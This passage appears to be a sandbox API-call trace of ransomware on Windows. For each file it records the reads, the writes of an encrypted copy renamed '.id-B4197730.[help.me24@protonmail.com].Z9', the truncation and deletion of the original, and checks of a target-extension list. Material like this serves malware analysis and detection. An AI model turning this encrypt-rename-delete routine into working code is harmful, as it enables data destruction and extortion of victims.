	[0069.209] ReadFile (in: hFile=0x2c8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x28, lpOverlapped=0x0) returned 1
	[0069.223] WriteFile (in: hFile=0x2cc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x30, lpOverlapped=0x0) returned 1
	[0069.224] ReadFile (in: hFile=0x2c8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.224] WriteFile (in: hFile=0x2cc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x110, lpOverlapped=0x0) returned 1
	[0069.225] SetEndOfFile (hFile=0x2cc) returned 1
	[0069.225] CloseHandle (hObject=0x2cc) returned 1
	[0069.226] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.226] SetEndOfFile (hFile=0x2c8) returned 1
	[0069.227] CloseHandle (hObject=0x2c8) returned 1
	[0069.227] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0069.227] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1
	[0069.228] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.228] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.228] lstrlenW (lpString=".doc") returned 4
	[0069.228] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0069.228] lstrlenW (lpString=".docx") returned 5
	[0069.228] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1
	[0069.228] lstrlenW (lpString=".pdf") returned 4
	[0069.228] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0069.228] lstrlenW (lpString=".xls") returned 4
	[0069.228] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0069.228] lstrlenW (lpString=".xlsx") returned 5
	[0069.228] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1
	[0069.228] lstrlenW (lpString=".ppt") returned 4
	[0069.228] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0069.228] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.228] lstrlenW (lpString=".zip") returned 4
	[0069.228] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0069.228] lstrlenW (lpString=".rar") returned 4
	[0069.228] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0069.228] lstrlenW (lpString=".bz2") returned 4
	[0069.228] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0069.228] lstrlenW (lpString=".7z") returned 3
	[0069.228] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0069.228] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.228] lstrlenW (lpString=".dbf") returned 4
	[0069.228] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0069.228] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.228] lstrlenW (lpString=".1cd") returned 4
	[0069.228] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0069.228] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.228] lstrlenW (lpString=".jpg") returned 4
	[0069.228] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0069.229] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.229] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.229] lstrlenW (lpString=".doc") returned 4
	[0069.229] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1
	[0069.229] lstrlenW (lpString=".docx") returned 5
	[0069.229] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1
	[0069.229] lstrlenW (lpString=".pdf") returned 4
	[0069.229] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1
	[0069.229] lstrlenW (lpString=".xls") returned 4
	[0069.229] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1
	[0069.229] lstrlenW (lpString=".xlsx") returned 5
	[0069.229] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1
	[0069.229] lstrlenW (lpString=".ppt") returned 4
	[0069.229] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1
	[0069.229] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.229] lstrlenW (lpString=".zip") returned 4
	[0069.229] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1
	[0069.229] lstrlenW (lpString=".rar") returned 4
	[0069.229] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1
	[0069.229] lstrlenW (lpString=".bz2") returned 4
	[0069.229] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1
	[0069.229] lstrlenW (lpString=".7z") returned 3
	[0069.229] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1
	[0069.229] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.229] lstrlenW (lpString=".dbf") returned 4
	[0069.229] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1
	[0069.229] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.229] lstrlenW (lpString=".1cd") returned 4
	[0069.229] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1
	[0069.229] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50
	[0069.229] lstrlenW (lpString=".jpg") returned 4
	[0069.229] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1
	[0069.230] lstrcmpiW (lpString1=".ini", lpString2=".Z9") returned -1
	[0069.230] lstrlenW (lpString="desktop.ini") returned 11
	[0069.230] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0069.230] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=129) returned 1
	[0069.230] CloseHandle (hObject=0x2c8) returned 1
	[0069.230] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26
	[0069.230] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.230] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0069.230] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.230] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.230] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0069.242] GetLastError () returned 0x0
	[0069.242] ReadFile (in: hFile=0x2c8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x81, lpOverlapped=0x0) returned 1
	[0069.646] WriteFile (in: hFile=0x2e8, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x90, lpOverlapped=0x0) returned 1
	[0069.647] ReadFile (in: hFile=0x2c8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.647] WriteFile (in: hFile=0x2e8, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xea, lpOverlapped=0x0) returned 1
	[0069.647] SetEndOfFile (hFile=0x2e8) returned 1
	[0069.647] CloseHandle (hObject=0x2e8) returned 1
	[0069.650] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.650] SetEndOfFile (hFile=0x2c8) returned 1
	[0069.651] CloseHandle (hObject=0x2c8) returned 1
	[0069.651] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x26) returned 1
	[0069.651] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1
	[0069.651] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.651] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.651] lstrlenW (lpString=".doc") returned 4
	[0069.651] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0069.651] lstrlenW (lpString=".docx") returned 5
	[0069.651] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0069.651] lstrlenW (lpString=".pdf") returned 4
	[0069.651] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0069.652] lstrlenW (lpString=".xls") returned 4
	[0069.652] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0069.652] lstrlenW (lpString=".xlsx") returned 5
	[0069.652] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0069.652] lstrlenW (lpString=".ppt") returned 4
	[0069.652] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0069.652] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.652] lstrlenW (lpString=".zip") returned 4
	[0069.652] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0069.652] lstrlenW (lpString=".rar") returned 4
	[0069.652] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0069.652] lstrlenW (lpString=".bz2") returned 4
	[0069.652] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0069.652] lstrlenW (lpString=".7z") returned 3
	[0069.652] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0069.652] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.652] lstrlenW (lpString=".dbf") returned 4
	[0069.652] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0069.652] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.652] lstrlenW (lpString=".1cd") returned 4
	[0069.652] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0069.652] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.652] lstrlenW (lpString=".jpg") returned 4
	[0069.652] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0069.652] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.652] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.652] lstrlenW (lpString=".doc") returned 4
	[0069.652] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0069.652] lstrlenW (lpString=".docx") returned 5
	[0069.652] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0069.652] lstrlenW (lpString=".pdf") returned 4
	[0069.652] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0069.653] lstrlenW (lpString=".xls") returned 4
	[0069.653] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0069.653] lstrlenW (lpString=".xlsx") returned 5
	[0069.653] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0069.653] lstrlenW (lpString=".ppt") returned 4
	[0069.653] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0069.653] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.653] lstrlenW (lpString=".zip") returned 4
	[0069.653] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0069.653] lstrlenW (lpString=".rar") returned 4
	[0069.653] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0069.653] lstrlenW (lpString=".bz2") returned 4
	[0069.653] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0069.653] lstrlenW (lpString=".7z") returned 3
	[0069.653] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0069.653] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.653] lstrlenW (lpString=".dbf") returned 4
	[0069.653] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0069.653] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.653] lstrlenW (lpString=".1cd") returned 4
	[0069.653] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0069.653] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36
	[0069.653] lstrlenW (lpString=".jpg") returned 4
	[0069.653] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0069.653] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0069.653] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0069.653] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0069.693] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=80970) returned 1
	[0069.693] CloseHandle (hObject=0x2e8) returned 1
	[0069.693] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80
	[0069.693] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.693] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8
	[0069.701] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.701] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.702] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0069.702] GetLastError () returned 0x0
	[0069.702] ReadFile (in: hFile=0x2c8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x13c4a, lpOverlapped=0x0) returned 1
	[0069.770] WriteFile (in: hFile=0x2e8, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x13c50, lpOverlapped=0x0) returned 1
	[0069.772] ReadFile (in: hFile=0x2c8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.772] WriteFile (in: hFile=0x2e8, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0069.773] SetEndOfFile (hFile=0x2e8) returned 1
	[0069.773] CloseHandle (hObject=0x2e8) returned 1
	[0069.776] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.776] SetEndOfFile (hFile=0x2c8) returned 1
	[0069.777] CloseHandle (hObject=0x2c8) returned 1
	[0069.777] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0069.778] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1
	[0069.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.778] lstrlenW (lpString=".doc") returned 4
	[0069.778] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.778] lstrlenW (lpString=".docx") returned 5
	[0069.778] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0069.778] lstrlenW (lpString=".pdf") returned 4
	[0069.778] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.778] lstrlenW (lpString=".xls") returned 4
	[0069.778] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.778] lstrlenW (lpString=".xlsx") returned 5
	[0069.778] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0069.778] lstrlenW (lpString=".ppt") returned 4
	[0069.778] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.778] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.778] lstrlenW (lpString=".zip") returned 4
	[0069.778] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.778] lstrlenW (lpString=".rar") returned 4
	[0069.778] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.778] lstrlenW (lpString=".bz2") returned 4
	[0069.779] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.779] lstrlenW (lpString=".7z") returned 3
	[0069.779] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.779] lstrlenW (lpString=".dbf") returned 4
	[0069.779] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.779] lstrlenW (lpString=".1cd") returned 4
	[0069.779] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.779] lstrlenW (lpString=".jpg") returned 4
	[0069.779] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.779] lstrlenW (lpString=".doc") returned 4
	[0069.779] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.779] lstrlenW (lpString=".docx") returned 5
	[0069.779] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0069.779] lstrlenW (lpString=".pdf") returned 4
	[0069.779] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.779] lstrlenW (lpString=".xls") returned 4
	[0069.779] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.779] lstrlenW (lpString=".xlsx") returned 5
	[0069.779] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0069.779] lstrlenW (lpString=".ppt") returned 4
	[0069.779] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.779] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.779] lstrlenW (lpString=".zip") returned 4
	[0069.779] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.779] lstrlenW (lpString=".rar") returned 4
	[0069.779] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.779] lstrlenW (lpString=".bz2") returned 4
	[0069.779] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.779] lstrlenW (lpString=".7z") returned 3
	[0069.779] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.780] lstrlenW (lpString=".dbf") returned 4
	[0069.780] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.780] lstrlenW (lpString=".1cd") returned 4
	[0069.780] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.780] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44
	[0069.780] lstrlenW (lpString=".jpg") returned 4
	[0069.780] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.780] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0069.780] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0069.780] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0069.787] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=82346) returned 1
	[0069.787] CloseHandle (hObject=0x2e8) returned 1
	[0069.787] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 0x80
	[0069.787] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0069.787] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0069.787] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.787] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.787] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0069.787] GetLastError () returned 0x0
	[0069.787] ReadFile (in: hFile=0x2e8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x141aa, lpOverlapped=0x0) returned 1
	[0069.812] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x141b0, lpOverlapped=0x0) returned 1
	[0069.814] ReadFile (in: hFile=0x2e8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0069.815] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0069.815] SetEndOfFile (hFile=0x2bc) returned 1
	[0069.815] CloseHandle (hObject=0x2bc) returned 1
	[0069.818] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0069.818] SetEndOfFile (hFile=0x2e8) returned 1
	[0069.819] CloseHandle (hObject=0x2e8) returned 1
	[0069.819] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0069.820] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml")) returned 1
	[0069.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
